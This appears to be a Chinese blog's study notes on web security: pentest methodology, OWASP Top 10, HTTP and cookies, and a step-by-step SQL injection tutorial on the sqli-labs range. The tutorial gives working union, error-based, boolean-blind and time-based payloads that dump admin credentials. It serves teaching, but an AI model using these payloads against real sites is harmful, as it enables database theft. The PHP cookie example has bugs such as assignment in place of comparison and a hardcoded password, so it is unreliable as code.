赞
踩
前言: 自己总结的web安全基础知识,部分未写完,以后有时间会完善,希望能帮到需要的人。
渗透测试(penetration testing|pentest)是实施安全评估(即审计)的具体手段。方法论是在制定、实施信息安全审计方案时,需要遵守的规则、惯例和过程。人们在评估网络、应用、系统或三者组合的安全状况时,不断摸索各种务实理念和成熟的做法,并总结了一套理论——渗透测试方法论。
在进行黑盒测试时,安全审计员是在并不清楚被测单位的内部构造的情况下,从外部评估网络基础设施的安全性。
在渗透测试的各个阶段,黑盒测试借助真实世界的黑客技术,暴露出目标的安全问题,甚至可以揭露尚未被他人利用的安全弱点。渗透测试人员应能理解安全弱点,将之分类并按照风险等级(高、中、低)对其排序。通常来说,风险等级取决于相关弱点可能形式危害的大小。老练的渗透测试专家应能确定可引发安全事故的所有攻击模式。当测试人员完成黑盒测试的所有测试工作之后,他们会把与测试对象的安全状况有关的必要信息进行整理,并使用业务的语言描述这些被识别出来的风险,继而将之汇总为书面报告。黑盒测试的市场报价通常会高于白盒测试。
白盒测试的审计员可以获取被测单位的各种内部资料甚至是不公开资料,所以渗透测试人员的视野更开阔。若以白盒测试的方法评估安全漏洞,测试人员可以以最小的工作量达到最高的评估精度。白盒测试从被测试系统环境自身出发,全面消除内部安全问题。从而增加了从单位外部渗透系统的难度。黑盒测试起不到这样的作用。白盒测试所需要的步骤数目与黑盒测试不相上下,另外,若能将白盒测试与常规的研发生命周期相结合,就可以在入侵者发现甚至利用安全弱点之前,尽可能最早地消除安全隐患,这使得白盒测试的时间成本,以及发现、解决安全弱点得到技术门槛都全面低于黑盒测试。
脆弱性评估通过分析企业资产面临的安全威胁的情况和程度,评估内部和外部的安全控制的安全性。这种技术上的信息系统评估,不仅揭露现有防范措施里存在的风险,而且提出多种备选的补救策略,并将这些策略进行比较。内部的脆弱性评估可保证内部系统的安全性,而外部的脆弱性评估则是验证边界防护(perimeter defenses)的有效性。
无论进行内部脆弱性评估还是进行外部脆弱性评估,评估人员都会采用各种攻击模式来严格测试网络资产的额的安全性,从而验证信息系统的处理安全威胁的能力,进而确定应对措施的有效性。不同类型的脆弱性评估需要的测试流程、测试工具和自动化测试技术也各不相同。这可以通过一体化的安全弱点管控(vulnerability managemnt)平台来实现。现在的安全弱点管控平台带有可自动更新的漏洞数据库,能够测试不同类型的网络设备,而且不会影响配置管理和变更管理的完整性。
二者区别(最大):渗透测试不仅要识别目标的弱点,它还设计在目标系统上进行漏洞利用、权限提升和访问维护。换句话说,脆弱性评估虽然可以充分发现系统里的缺陷,但是不会考虑去衡量这些缺陷对系统造成的危害。另外,相比脆弱性评估,渗透测试更倾向于入侵,会刻意使用各种技术手段,利用安全漏洞;所以渗透测试可能对生产环境带来实际的破坏性影响。而脆弱性评估以非入侵的方式,定性、定量的识别已知安全弱点。
官网:https://owasp.org/Top10/
A1:2017—注入
将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NOSQL注入、OS注入或LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。
A2:2017—失效的身份认证
通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码秘钥或会话令牌,或者利用其他开发缺陷来暂时性或永久性冒充其他用户的身份。
A3:2017—敏感的数据泄露、
许多web应用程序和api都无法正确的保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者可以通过窃取或修改为加密的数据来实施信用卡诈骗、身份盗取或其他犯罪行为。未加密的敏感数据容易受到破坏,因此,我们需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据以及浏览器的交互数据。
A4:2017—XML外部实体(XXE)
许多较早的或配置错误的xml处理器评估了xml文件中外部实体引用。攻击者可以利用外部实体窃取使用url文件处理器的内部文件和共享文件、监听内部、扫描端口、执行远程代码和实施拒绝服务攻击。
A5:2017—失效的访问控制
未对通过身份验证的用户实施恰当的访问控制,攻击者可以利用这些缺陷访问未经授权的功能或数据库,例如:访问其他用户的账号、查看敏感文件、修改其他用户的数据,例如:访问其他用户的账号、查看敏感文件、修改其他用户的数据、更改访问控制权限等。
A6:2017—安全配置错误
安全配置错误是最常见的安全问题,这通常是由于不安全的默认配置、不完全的临时配置、开源云储存、错误的HTTP标头配置以及包含敏感信息的详细错误信息所造成的。因此,我们不仅需要对所有的操作系统、框架、库和应用程序进行安全配置。而且必须及时修改和升级他们。
A7:2017—跨站脚本(xss)
当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建HTML或者javascript的浏览器api更新现有的网页时,就会出现xss缺陷。xss让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。
A8:2017—不安全的反序列化
不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行,攻击者也可以利用他们来执行攻击,包括:重播攻击、注入攻击和特权提升攻击
A9:2017—使用含已知漏洞的组件
组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管。同时,使用含已知漏洞的组件的应用程序和api可能会破坏应用程序的防御、造成各种攻击并产生严重影响。
A10:2017—不足的目录记录和监控
不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击能够进一步攻击系统、保持持续性或转向更多系统,以及篡改、提取或销毁数据。大多数缺陷研究显示。缺陷被检测出的时间超过200天,且通常通过外部检测,而不是通过内部流程或监控检测。
注意:owasp top 10 2021 已发布,合并了前一版部分类型增加了一些新的类型。
CWE:Common Weakness Enume (某一类漏洞编号)
示例:
CWE—79:xss漏洞
https://cwe.mitre.org/data/definitions/79.html
CWE—89:SQLi (SQL注入)
https://cwe.mitre.org/data/definitions/89.html
CVE:Common Vulnerabilities and Exposures (某一个漏洞编号)
网址:https://cve.mitre.org/
http://cve.scap.org.cn/
备注:漏洞补丁编号
例如:
微软补丁:kb开头,示例:ms17-010 为微软公司17年底10个安全公告
s2-053 #struts2为Apache开源开发java框架,表示s2框架第53个漏洞编号
开源安全测试方法论(OSSTMM):Open Source Testing Methodo Logy Manval
https://www.isecom.org/research.html
信息系统安全评估框架(ISSAF):Information System Security Assessment Framework
web应用安全联合威胁分类(WASC-TC):web Application Security Consortium Threat Classification
http://projects.webappsec.org/w/page/13246927/FrontPage
openVAS开源的网络漏洞扫描器。自从Nessus收费以后,分支出来的项目。
官网:https://www.openvas.org/
BS架构:web管理接口+虚拟机
openVAS虚拟机版安装
虚拟机镜像下载—> 配置:系统linux,版本:其他linux64位 —> setup —> admin user(admin)、passwd —> reboot (重启) —> (网络连接无)retry —> 创建web用户 —> About(查看ip)
注意更新Feed
渗透测试执行标准(penetration Testing Exection Standard,PTES)的先驱都是渗透测试行业的精英。这个标准有渗透测试7个阶段的标准组成,可以在任意的环境的环境中进行富有成果的渗透测试。
官网:http://www.pentest-standard.org/index.php/Main_Page
从技术管理的角度来看,遵守正规的测试框架对安全测试极为重要。通用渗透测试流程框架涵盖了典型的审计测试工作和渗透测试工作会涉及到的各个阶段。
注意:
无论进行黑盒/白盒测试,选择和使用测试步骤都是测试人员的责任。在测试开始前,测试人员需要根据目标系统的实际环境和已掌握的相关目标情况,指定最信任的测试策略
各个阶段详解:
范围界定
在开始技术性安全评估之前,务必要观察、研究目标环境的被测范围。同时还要了解,这个范围牵扯多少单位,是单个单位还是多个单位会参与到安全评估的工作中来,在范围界定阶段,需要考虑的典型因素如下:
信息收集
在划定了测试范围之后,就要进入信息收集阶段。在这个阶段,渗透测试人员需要使用各种公开资源尽可能地获取参数目标的相关信息。他们从互联网上收集信息的渠道主要有:论坛、公告板、新闻组、媒体文章、博客、社交网络、其他商业或非商业性网站。
此外他们也可以借助各种搜索引擎获取相关数据,如谷歌、雅虎、MSN必应、百度等。收集的信息主要包括DNS服务器、路由关系、whois、数据库、电子邮件地址、电话号码、个人信息及用户账号。收集的信息越多,渗透测试成功率就越高。
这个阶段主要任务是识别目标网络状态、操作系统和网络架构。该阶段工作旨在完整的展现目标网络里各种联网设备或技术的完整关系,以帮助测试人员在接下来的工作里枚举目标网络的各种服务。
这一阶段会根据前面的各个阶段的成果,进一步找出目标系统中所有开放的端口。一旦找到了所有的开放端口,就可以通过这些端口来列出目标系统上运行的服务。主机上开放的端口都有相应的服务程序,对这些信息进行 深度分析后,可进一步发展目标网络基础设施中可能存在的漏洞。
可以根据已经发现的开放端口和服务程序,查找、分析目标系统中存在的漏洞。如果能够采用自动和手动这两种不同的测试方法结合起来,审计人员对目标系统的认识就会更加清晰、透彻,并能仔细地检查任何已知和未知的漏洞。
如果目标网络没有直接的入口,欺骗的艺术将起到抛砖引玉的重要作用。对目标组织中的人员进行定向攻击。很有可能帮助我们找到渗透目标系统的入口。例如,诱使用户安装后门的恶意程序,就可能为审计人员的渗透工作形成突破。社会工作学渗透分为多种不同形式。伪装成网络管理员、通过电话要求用户提供自己的账户信息、发送邮件·······。在社会工程学中,达成同一既定目标的实现应有尽有。需要注意的是,在对目标实施欺骗以达成目标之前,多数情况下需长时间研究目标人员的心理。另外,在开展这个阶段的工作之前,需要实现研究目标区域的法律是否有关社会工程学的相关条款。、
在仔细检查和发现目标系统中的漏洞之后,就可以使用已有的漏洞,利用程序对目标系统进行渗透。审计人员可以把客户端漏洞利用程序和社会工程学进行结合,进而控制目标系统,这个阶段的主要任务是控制目标系统。这个流程可以分为三步。涉及攻击前、攻击、攻击后的相关行动。
获取目标系统的控制权是渗透成功的标志。接下来,审计人员就可以根据所拥有的访问权限,在被测系统中自由发挥。审计人员也可以使用适用于目标系统的本地漏洞来提升自己的权限。只要他们能够在目标系统上运行提权漏洞利用程序,就可以获得主机的超级用户权限或者系统级权限。审计人员还可以以该主机为跳板,进一步攻击局域网络。根据之前渗透范围的界定,审计人员接下来会开展的攻击可能是受限制的,也可能是不受限制的。然后他们很有可能以各种方式获得与控制系统有关的更多信息,具体的说,他们可能是用嗅探手段获取网络数据包,破解各种服务的密码,在局域网络中使用网络欺骗手段。所以说,提升权限的最终目的是获得目标系统的最高访问权限。
多数情况下,审计人员需要在一段时间内维护他们对目标系统的访问权限。例如,在演示越权访问目标系统的时候,安装后门将节省重新渗透目标系统所耗费的大量时间。这种情况下,访问维护将节约获取目标权限的时间。审计人员可以通过一些私密的通信隧道,在既定时间内维持对目标的访问权限,这些隧道往往基于特定协议、代理或者点对点方法的后门程序。这种对系统的访问方法可以清楚地展示,入侵人员在目标系统实施攻击时隐藏行踪的具体方法。
在渗透测试的最后一个环节里,审计人员记录、报告并现场演示那些已经识别、验证和利用了的安全漏洞。在被测单位的管理和技术团队会检查渗透时使用的方法,并会根据这些文档修补所有存在的安全漏洞。所以,从道德角度来看。文档报告的工作十分重要。并为了帮助管理人员和技术人员共同理解、分析当前IT基础架构中的薄弱环节,可能需要给不同的部门撰写不同词措的书面报告。此外,这些报告还可以用来获取和比较渗透测试前后的完整性。
简化的渗透测试流程是在进行渗透测试过程中常用流程:
明确目标
明确范围、确定规则、确定要求
信息收集
基础信息、系统信息、应用信息、人员信息、防护信息
漏洞探测
系统漏洞、web服务漏洞、web应用漏洞、其他端口、通信安全
漏洞验证
手工验证、工具验证、实验验证
漏洞利用
定制EXP、防御绕过、进一步渗透、清理痕迹
形成报告
整理结果、补充介绍、修复建议
web工作机制(从客户端到服务器)
我们可以通过浏览器上网看到精美的页面,一般都是都是经过浏览器渲染过的html页面,其中包含了css等前端技术,多个网页的集合就是网站
web容器
web容器,也叫web服务器,主要提供web服务。也就是常说的HTTP服务。常见的web容器有:Apache、IIS、Nginx等
静态网页
静态网页都是一些.htnl文件,是纯文本文件,这些文件包含html代码。HTML,超文本标记语言,在浏览中解释运行。
以上这种静态网页只能单向地给用户展示信息。随着web的发展,信息要双向流动,产生了交互的需求,也就是动态网页的概念;所谓动态就是利用flash、php、asp、java等技术在网页中嵌入一些可运行的脚本,用户浏览器在解释页面时,遇到脚本就启动运行它。
脚本的使用让web服务器模式有了双向交流的能力,web服务模式也可以像传统软件一样进行各种事务的处理,如编辑文件、利息计算、提交表单等,web架构的适用面大大拓展。
这些脚本可以嵌入在页面上,如js等。也可以文件的形式单独存放在web服务器的目录里,如.asp、.php、.jsp文件等。这样的功能性的脚本越来越多,形成常用的工具包,单独管理,web业务开发时,直接使用就可以了,这就是中间件服务器,它实际上是web服务器处理能力的拓展。
注意:常见的中间件weblogic、jboss、Apache、tomcat、IIS等。(web容器属于web中间件子类)
静态网页与脚本都是事前设计好的,一般不经常改动,但网站上很多内容需要经常的更新,如新闻、博客文章、互动游戏等,这些变动的数据放在静态的程序中显然是不适合,传统的方法是数据库与程序分离,采用专业的数据库。web开发者在web服务器后边增加了一个数据库,可以随时更新。当用户请求的页面,涉及到动态数据的地方,利用SQL数据库语言,从数据库中读取最新的数据,生成“完整”页面,最后呈现给用户。
HTTP(HyperText Transfer Protocol / 超文本传输协议)是浏览器与web服务器之间的通信协议,是传递信息的规范和要求。
(唯一)统一资源定位符(网址),用来告诉web服务器,浏览器所请求资源(文件)的路径。
注意:
访问需要登录账号密码的服务:
schema://login:passwd@adress:port
服务类型 登录名:密码 地址/网址:访问端口号
(ftp、http)
url编码:
url中允许出现的字符是很有限的,url中path开始允许出现A-Za-z0-9,半角符号(-),下划线句点(.),波浪号(~)
如果是其他字符均会被编码
例:
#符号的url编码为%23,[]的url编码为%20
工具:wireshark、fiddler、burpsuite
web应用的所有通信方式都要遵守HTTP协议的规范和要求。
HTTP请求(request)
http请求由请求行、请求头、请求正文三部分组成
请求行格式:方法 资源路径 协议/版本
例:GET /php/test/get.php HTTP/1.1
请求头:从请求报文第二行开始到第一个空行为止之间的内容,其中包含很多字段。
请求正文:一般为需提交到服务端的内容
请求方式
GET #是最常见的方法,通常用于请求服务器发送的某个资源。
POST #该方法可以向服务器提交参数以及表单,包括文件流等。
HEAD #与GET方法类似,但在服务器响应中只返回首部。
PUT #与GET从服务器读取文档相反,PUT方法会向服务器写入文档。
TRACE #回显浏览器的请求。
OPTIONS #该方法请求web服务器告知其支持的各种功能。
DELETE #该方法请求服务器删除请求url所指定的资源。
请求头主要部分
HOST #主要用于指定被请求资源的internet主机和端口号。
User-Agent #浏览器指纹。
Referer #包含一个url,代表当前url的上一个url。
Cookie #记录请求者的身份认证信息。
Accept-Charset #用于指定客户端接收的字符集。
Content-Type #用于向接收方指示实体的介质类型(数据类型)。
Conten-Length #用于指明实体正文的长度,以字节存储的十进制数字来表示。
Last-modified #用于指定资源的最后修改时间和日期。
实验:telnet模拟浏览器发送HTTP请求
telnet [服务器ip] [访问端口] #命令输入(须安装telnet客户端,服务器系统自带)
ctrl+ ] #打开回显,回车。上个命令执行后进入telnet模式
上两条命令输入后:可以输入http报文,回车即发送
响应报文由状态行、响应头、响应正文三部分组成
状态行:协议/版本 状态码 描述短语
HTTP/1.1 200 ok
响应报头
第二行开始到第一个空行为止的所有内容,其中包含了关于HTTP响应的重要字段
响应正文
服务器返回资源的内容,即浏览器接收到的HTML代码。
状态码
100~199:信息性状态码
200~299:成功状态码
300~399:重定向状态码
400~499:客户端错误状态码
500~599:服务器错误状态码
响应头主要部分
Server #服务器指纹
Set-Cookie #向浏览器端设置Cookie
Last-modified #服务器通过这个头信息,告诉浏览器,资源的最后修改时间
Content-Length #请求正文的长度
Location #重定向目标页面
Refresh #服务器通过Refresh 头告诉浏览器定时刷新浏览器
HTTP协议本身是无状态的协议,HTTP不会记录前一次传输的数据信息。而很多情况下,我们和服务器之间的一个会话不是一个动作就完成了,所以我们希望能够在客户端和服务器这个交互的会话期间内,服务器能够保持对客户端会话的识别,也就是保持http的状态性。cookie应运而生。
cookie概述
cookie是指网站为了辨别用户身份,进行session(会话)跟踪而存储在用户本地终端上的数据(通常通过加密)
客户端在浏览多个页面时,提供事务的功能,为服务提供状态管理。例如:购物车 可以为每个用户实现购物统计。实现授权策略,用户不用每个页面都输入用户名/密码
为了更好的理解cookie机制,我们使用PHP来简单实现cookie策略。
php中cookie实现
**示例:**PHP中的cookie简单实现由两个页面组成,即 index.php 、index.php
#index.php
<meta charset="utf-8">
<?php
if(isset($_COOKIE['name']) and $_COOOKIE['name']=='admin')
{ echo "欢迎你!".$_COOKIE['admin'];
echo '<a href='./logout.php'>注销</a> }
else{
echo "<form action='login.php'.method='get'>
username;< input type='text' name='name'>
password:< input type='password' name='pwd'>
<input type='submit'>
</form>";
}
?>
#login.php
<meta charset="utf-8">
<?php
if(isset($_GET['name']) && $_GET['name']="admin" && isset($_GET['pwd']) && $_GET['pwd']="123456")
{ setcookie('name','admin'); //向浏览器写入cookie信息:name =admin
echo "登录成功!<a href='./index.php'>首页</a>"; }
else{
echo "登录失败!<a href='./index.php'>首页</a>";
}
?>
php实现cookie关键函数:set_cookie()
注意:以上代码中关键函数是set_cookie() ,该函数有七个参数如下
name #名称
cookie #名称
value #值:这个值存储于用户电脑里,请勿存储敏感信息。
expire #过期时间:这个是Unix时间戳。如果设置成零或忽略参数,cookie会 # 在会话结束时过期。
path #有效路径:设置成"/"时,cookie对整个域名domain有效。如果设置成"/fool",
#cookie仅对domain中/fool/目录及其子目录有效(比如/fool/bar)。默认值
#是设置cookie值时的当前目录。
domain #有效域名:设置成子域(例如:www.exemple.com),会使cookie对这个子域名 #和它的三级域名有效(例如:w2..www.exemple.com)。要让cookie对整个域名 #有效(包括其全部子域),只要设置成域名就可以了 #这个例子里是:exempple.com
secure #设置这个cookie是否仅仅通过安全的HTTPS连接,传给客户端。设置成TRUE时,
#只有安全连接存在时,才会设置 cookie 。如果是在服务器端处理这个要求,程序 #员需要仅在安全连接上发送此类cookie(通过$_SERVER['HTTPS']判断)。
httponly #设置成TRUE,cookie仅可通过HTTP协议访问。这意思就是cookie无法通过类似 #javascript 这样的脚本语言访问。能有效的减少xss攻击时的身份窃取行为,可 #建议用此设置(虽然不是所有浏览器都支持),不过这个说法经常有争议。
#php 5.2.0 中添加:TRUE 或FALSE
session 机制需要借助cookie来实现。但二者有明显区别:cookie 机制将用户的身份认证信息存储在浏览器端;session 机制是将身份认证信息放在服务器端。session 机制从一定程度上解决了cookie所面临的窃取与欺骗的风险。当然窃取的是cookie信息,欺骗的是服务器。二者合一称为固定会话攻击。
概念
同源策略是禁止JavaScript进行跨域访问的安全策略。它也是浏览器沙盒环境所提供的一项制约。浏览器可以同时处理多个网站的内容,其典型方法为使用标签页或iframe等。
同源策略的条件
注意:
同源策略的保护对象不仅仅是iframe 内的文档。比如,实现ajax时所使用的XMLHttpRquest 对象能够访问的url也受到了同源策略的限制。
同源策略的探究
#2个实现同源策略页面demo #index.html <html> <head> <title> 跨frame 的读取实验 </title> <meta charset="utf-8"> </head> <body> <iframe name="iframe" width="300" height="80" src="http://locahost/sop/iframe.html"></iframe> <script> function go(){ try{ var x=iframel.document.forml.passwd.value; document.getElementById)('out').innerHTML=x; } catch(e) { alert(e.message); } } </script> <span id="out"></span> </body> </html> #iframe.html <html> <head> <meta charset="utf-8"> </head> <body> <form name="forml"> iframe 的内层密码 <input type="text" name="passwd" value="password1"> </form> </body> </html>
结构化查询语言(Structured Query Language,缩写SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。
数据库分为关系型和非关系型。关系型数据库管理系统标准语言,绝大多数可以通用。
SQL注入是一种常见的web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
常见数据库:
类型 | 数据库 | 默认端口 |
---|---|---|
关系型 | MySQL | 3306 |
关系型 | SQL Server | 1433 |
关系型 | Oracle | 1521 |
关系型 | DB2 | 5000 |
关系型 | PostgerSQL | 5432 |
非关系型 | MongoDB | 27017 |
非关系型 | Redis | 6379 |
非关系型 | Memcached | 11211 |
针对SQL注入的攻击行为可以描述为通过用农可控参数中注入SQL语法,破坏原有的SQL结构,达到编写程序时意料之外结果的攻击行为。其成因归结为以下两个原因造成的:
根据SQL注入的原理。在用户“可控参数”中注入SQL语句,也就是说web应用在获取用户数据的地方,只要带入数据库查询,都会存在SQL注入的可能,这些地方通常包括:
攻击者利用SQL注入漏洞,可以获取数据库中的多种信息,(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别的情况下,还可以修改数据库内容或插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。
SQL注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL注入分为数字型和字符符型。
根据注入手法分类,大致可分为以下几个原则。
以下实验以mysql为例,主要使用*map环境
注释
mysql数据库大概有以下几种注释。
#
-- (杠杆空格,有时也用--+)
/*·······*/
/*·······*/ (内联查询,有时用来绕过防火墙)
mysql数据库结构
mysql常用函数
=、>、>=、<、<=、<> 不等于 #比较运算符,返回值为0或1 and、or #逻辑运算符:与、或 version() #mysql数据库版本 database() #当前数据库名 user() #用户名 current_user() #当前用户名 system_user() #系统用户名 @@datadir #数据库绝对路径 @@version_compile_os #操作系统版本 length() #返回字符串长度 substring()/substr()/mid() #截取字符串。 #参数:1、截取的字符串;2、截取的起始位置(从1开始); #3、截取长度(小数点算一位) left() #从左侧开始取指定个数的字符串 concat() #没有分隔符的连接字符串 concat_ws() #含有分隔符的连接字符串 group_concat() #连接一个组的字符串(将不同行的字符串连接起来) ord()/ascii() #返回ascll码 hex() #将字符串转化为十六进制 unhex() #十六进制的反向操作 md5() #md5加密,返回md5值 floor(x) #返回不大于x的最大整数 round(x) #返回参数x接近的整数 rand() #返回0~1之间的随机浮点数 load_file() #读取文件,并返回文件内容作为一个字符串 sleep() #睡眠时间为指定的秒数 if(true,t,f) #if判断。(第一位参数为true,返回t,flase返回f) find_in_set() #返回字符串在字符串列表中的位置 benchmark() #指定语句执行的次数 name_const() #返回表作为结果 示例: select length("123"); #返回结果3 select substring(database(),1,1) #假设网站数据库名为blog,返回结果为b select left("123456",3) #返回结果为:123 select concat('a','b','c'); #返回结果为:abc concat_ws("_",'a','b','c') #返回结果为:a_b_c
**注意:**SQSL语句中逻辑运算符与(and)比或(or)的优先级高
数据库(关系型)具有明显的:库/表/列(字段)内容结构层次。所以SQL注入时也是按这种顺序:
1、首先获取数据库名;2、其次获取表名;3、然后获取列(字段)名;4、最后获取数据
靶场:注入语句以靶场sqli-labs为例
寻找注入点,常见:值为数字的参数、搜索关键字、登录框、cookie·········
注入点判断
形如 xxx······?id=35 类的网站内网页路径且改变参数值网页变化 ===> 说明存在与数据库的交互
在?id=35’ 添加单/双引号,观察页面报错信息:判断是字符型还是数字型
例如:x····near'’' at line 1 #错误出现在'‘'单引号附近说明35前无错误,
即:select * from tbname where id=35' #故为数字型注入
注意:
若其报错为 x····near 'xx35'' at line 1 #说明为字符型注入
以?id=35 and 1=1,and后面添加语句,构成真假语句,根据语句变化页面对页面的影响来判断。
?id=35 and 1=1 #真。页面正常,无变化
?id=35 and 1=2 #假。页面无内容,不报错
#结果为一真一假 ===> 查看是否有布尔类型的状态
以?id=35 and sleep(5),观察是否延时。
注入思路
示例:对形如 xxx······xx.php?id=33 判断是否是注入点。
变换id参数
当我们变换id参数(33+1/33-1)时,发现同一个页面中展现不同内容,也就是说数据库中的内容会回显到网页中来。(页面与数据库存在交互)
初步判定,id参数会带入数据库查询。根据不同id查询数据库,得到不同的内容。猜测后台执行的SQL语句结构为:select * from tbname where id=33
单引号
对网址栏url修改为 :······?id=33’ ,加上单引号。此时后台执行代码为select * ·······id=33’ ,页面报错,并将报错信息回显到网页中:you have ······· use near ’ ’ ’ at line 1。
错误提示单引号位置出现错误,那么说明SQL语句从头到参数33都是正确的。也就是说,我们添加的单引号是多余的。
因此,可以断定参数33前面没有引号。则此注入点(可能)为数字型注入。
布尔类型判断(and 1=1/1=2)
对url添加 and 1=1/1=2 语句。
当 1=1 时得到页面正常。而当1=2时,此时SQL语句为恒假式。而页面无内容显示,且数据库没有报错。即恒为假的SQL语句。在数据库中执行了,但未返回结果。也就是说此时“and 1=2” 起到了将查询结果为假的作用。===> 布尔类型
使用and sleep()判断延时
url中添加 and sleep(5) ,查看控制台—“网络”,观察延时线,若有延时说明sleep有作用。
特点:实现跨库、跨表查询
由于数据库中的数据内容会回显到页面中来,所以我们可以采用联合查询进行注入,联合查询就是SQL注入语法中的 union select 语句。该语句会同时执行两条select语句(其中有一条为网页数据库交互的,另一条自定义,用SQL注入攻击的),生成两张虚拟表,然后把查询到的结果进行拼接。
由于虚拟表是二维结构,联合查询会“纵向”拼接两张表。
必要条件
判断字段个数
可以使用“order by" 语句来判断当前select语句查询的虚拟表的列数。
“order by"语句本意是按照某一列进行排序,在mysql中可以使用数字来代替具体的别名。比如:“order by 1”就是按照第一列进行排序,如果mysql没有找到对应的列,就会报错:“unknown column"。我们可以依次增加数字,直到数据库报错。
示例:
order by 15 #正常显示
order by 16 #报错
#证明当前表中字段个数(列数)为15
判断显示位置
得到字段个数之后,可以尝试构造联合查询语句。
这里我们并不知道表名,根据mysql数据库特征。select语句在执行的过程中,并不需要指定表名。
示例:
?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
或:
?id=33 uion select null,null,null,null·······
页面显示的是第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL语句:
示例:
?id=33 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
#也可以使id=-33 ,使之为假
在执行SQL语句时,可以考虑使用浏览器插件hackbar
执行上述SQL语句(查询语句1为假)发现3和11会回显到页面中来。
数据库版本与当前数据库名——回显获取
我们可以将数字3用函数version()代替,即可得到数据库版本。再将11换成detabase()函数,可得到当前数据库名。
示例:
?id=-33 union select 1,2,version(),4,5·····10,database(),12,13,14,15
#版本号:5.5.5 库名:cms
查询数据库中的表
示例:
?id=-33 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10···15 from information_schema.tables where table_schema=database()
#使用group_concat将显示所有表,不使用则显示第一个。实现了跨库跨表查询
如果数据库报错(不能显示字符串),考虑用hex()函数将结果由字符串转化为十六进制显示出来后,使用工具重新转化为字符串,得到所有表名。
示例:
?id=-33 union select 1,2,hex(group_concat(table_name)),4,5····15
#管理员账密可能在[数据库]_user表中,例子中为cms_users
表中字段
示例:
?id=-33 union select 1,2,hex(group_concat(column_name)),4,5····15 from information_schema.columns where table_name='cms_users'
#管理员账密可能在[数据库]_user表中,例子中为cms_users
#示例中cms_users应转化为十六进制,即cms_user转化为十六进制后,前面再加上0x。
#0x表示十六进制码:0x[十六进制码]
字段内容
示例:
?id=-33 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8···· from cms_users
#冒号转十六进制为:3a。但应在其前加上0x,即0x3a
得到加密后的密码及账户:[账户]:[加密密码]。
**注意:**加密的密码通过MD5网站撞库解密
解密—登录后台
后台管理员、用户密码以密文的形式保存,可通过撞库解密。最后登录后台。
在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入。
报错注入的原理,就是在错误信息中执行SQL语句。触发报错的方式很多,具体细节也不尽相同。
group by 重复键冲突
示例:
?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2)) x from information_schema.tables group by x)a)
#注意:有一定概率的得到目标,可多执行几次。
XPATH报错
注意:5.0版本以下不支持
extractvalue()
?id=33 and extractvalue(1,concat('^',(select version()),'^'))
#需获取的"目标",可自定义,其他部分固定
updatexml()
?id=33 and updatexml(1,concat('^',(select version()),'^'),1)
原理:利用页面返回的布尔类型状态,正常或者不正常。(通过“and ·····” 判断某些“值”)
数据库长度判断
示例:
?id=33 and length(tatabase())=1; #若页面不正常,更换数字测试直到正常
?id=33 and length(database())=3; #此时页面刚好正常显示 ==> 数据库名长度为3
获取库名
示例:
?id=33 and ascii(substr(database(),1,1))=99 #页面刚好正常,因此知道库名第一个字为c
获取表长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0
参数说明:limit后面的0表顺序第1位,1表个数,1个结果
获取表名
and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'
获取字段
and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))=60
判断表中记录
在得到了字段名称之后,接下来最重要的一步就是进行脱裤了。在进行脱裤之前,我们首先判断在表中有多少条记录。
and (select count(*) from emails)>0
脱裤之前,我们首先要知道当前记录的长度
and (select length(email_id) from emails limit 0,1)>15
email_id:字段名
emails:表名
布尔盲注(延时注入)常用函数:
参数说明:
Length()函数 返回字符串的长度
Substr()截取字符串,三个参数依次为要截取的字符串、截取位置(第几个)、要截取个数
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
也可以不转换为ascll码
and mid(database(),1,1)=‘d’ # 判断单个字符
and substr(database(),1,1)=‘d’ # 判断单个字符
and ord(substr((select database()),1,1))=98 # 使用ascii码判断单个字符
and ascii(substr((select database()),1,1))=98 # 使用ascii判断单个字符
and left(database(),4)=‘dvwa’ # 判断一个字符串,即多个字符
**原理:**利用sleep()语句的延时性,以时间作为判断条件
获取数据库名长度
?id=33 and if((length(database())=3),sleep(5),1)
#if语句:if(判断语句,语句1,语句2) 条件判断正确执行语句1,错误执行语句2
#须使用>、< 、=和数字判断库名长度,如果正确就sleep()5秒
库名判断
?id 33 and if(ascii(substr(database(),2,1))=109,sleep(5),1)
#判断数据库名第二个字
可取代sleep()的其他函数
与sleep类似都是获取SQL语句的执行时间,比较少用。
BENCHMARK()函数
get_lock()函数
heavy query
定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
原理
